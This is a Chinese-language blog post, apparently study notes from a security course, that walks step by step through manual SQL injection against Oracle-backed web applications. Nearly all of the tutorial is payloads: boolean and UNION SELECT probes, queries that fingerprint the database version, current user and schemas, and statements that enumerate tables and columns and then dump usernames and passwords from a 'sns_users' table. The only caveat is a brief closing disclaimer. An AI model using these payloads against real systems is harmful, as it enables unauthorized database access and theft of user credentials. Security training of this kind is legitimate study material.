某教程学习笔记(一):10、oracle数据库注入

简介: 某教程学习笔记(一):10、oracle数据库注入

一、Oracle数据库


一般大型企业都会用到,物流、旅游、航空、银行等等。。。


1、支持多用户、大事务量的处理


2、数据安全性和完整性的有效控制


3、支持分布式数据处理


4、移植性强


二、手动注入


1、判断是否存在


and 1=1 返回正常


and 1=2 返回错误

0a2653c851af460fa595bd959398a8f1.png


2、判断是否是Oracle数据库


and exists(select * from dual)


and exists(select * from user_tables)


返回正常说明是oracle


3、判断数列


order by 2 返回正常,说明有两列


4、联合查询


union select null,null from dual,这里不能写1,2 需要用null替换,然后将每个null用数字和字符替换一下,发现数字就报错,字符不报错


union select 1,null from dual 报错


union select null,1 from dual 报错


union select ‘null’,‘null’ from dual 返回如下界面,这时就可以用下面的查询语句了


5、获取数据库版本


(select banner from sys.v_$Version where rownum=1)

0a2653c851af460fa595bd959398a8f1.png


6、获取连接数据库的当前用户


(select SYS_CONTEXT(‘USERENV’,‘CURRENT_USER’)from dual)

0eacb84100b54626af849e6b562bf92a.png


7、获取数据库


(select instance_name from v$instance) 获取当前数据库

2d65d23f6d4748949b924e4057485923.png


(select owner from all_tables where rownum=1)获取第一个数据库

2e9b90b2ca334476abebe75bafe6eeaa.png


(select owner from all_tables where rownum=1 and owner<>‘SYS’)获取第二个数据库


8、获取表名


(select table_name from user_tables where rownum=1 and table_name like ‘%users%’) from dual

0a2653c851af460fa595bd959398a8f1.png


10、获取列名


(select column_name from user_tab_columns where table_name=‘sns_users’ and rownum=1)

0eacb84100b54626af849e6b562bf92a.png


11、获取第二列名


(select column_name from user_tab_columns where table_name=‘sns_users’ and rownum=1 and column_name<>‘USER_NAME’)


12、获取字段内容


id=1 and 1=2 union select USER_NAME,USER_PWD from “sns_users”

2d65d23f6d4748949b924e4057485923.png

union select USER_NAME,USER_PWD from “sns_users” where USER_NAME<>‘hu’ 获取第二个用户信息


禁止非法,后果自负

目录
相关文章
|
12天前
|
SQL Oracle 关系型数据库
【Oracle】玩转Oracle数据库(一):装上去,飞起来!
【Oracle】玩转Oracle数据库(一):装上去,飞起来!
52 7
|
1月前
|
Oracle 关系型数据库 数据库
|
1月前
|
关系型数据库 分布式数据库 数据库
PolarDB PostgreSQL版:Oracle兼容的高性能数据库
PolarDB PostgreSQL版是一款高性能的数据库,具有与Oracle兼容的特性。它采用了分布式架构,可以轻松处理大量的数据,同时还支持多种数据类型和函数,具有高可用性和可扩展性。它还提供了丰富的管理工具和性能优化功能,为企业提供了可靠的数据存储和处理解决方案。PolarDB PostgreSQL版在数据库领域具有很高的竞争力,可以满足各种企业的需求。
|
29天前
|
Oracle 关系型数据库 数据库
Oracle数据库基本概念理解(3)
Oracle数据库基本概念理解(3)
18 2
|
1月前
|
Oracle 关系型数据库 数据库
如何利用 Docker 安装 Oracle 数据库
【2月更文挑战第14天】
92 0
|
12天前
|
SQL Oracle 关系型数据库
【Oracle】玩转Oracle数据库(七):RMAN恢复管理器
【Oracle】玩转Oracle数据库(七):RMAN恢复管理器
40 5
|
29天前
|
Oracle 关系型数据库 数据库
Oracle数据库基本概念理解(2)
Oracle数据库基本概念理解(2)
13 1
|
4天前
|
存储 Oracle 关系型数据库
Oracle的模式与模式对象:数据库的“城市规划师”
【4月更文挑战第19天】在Oracle数据库中,模式是用户对象的集合,相当于数据库的城市规划,包含表、视图、索引等模式对象。模式对象是数据存储结构,如表用于存储数据,视图提供不同查看角度,索引加速数据定位。良好的模式与模式对象设计关乎数据效率、安全和稳定性。规划时需考虑业务需求、性能、安全和可扩展性,以构建高效数据库环境,支持企业业务发展。
|
12天前
|
存储 SQL Oracle
【Oracle】玩转Oracle数据库(二):体系结构、存储结构与各类参数
【Oracle】玩转Oracle数据库(二):体系结构、存储结构与各类参数
35 7
|
29天前
|
Oracle 关系型数据库 数据库
Oracle数据库基本概念理解(1)
Oracle数据库基本概念理解(1)
13 1

热门文章

最新文章

推荐镜像

更多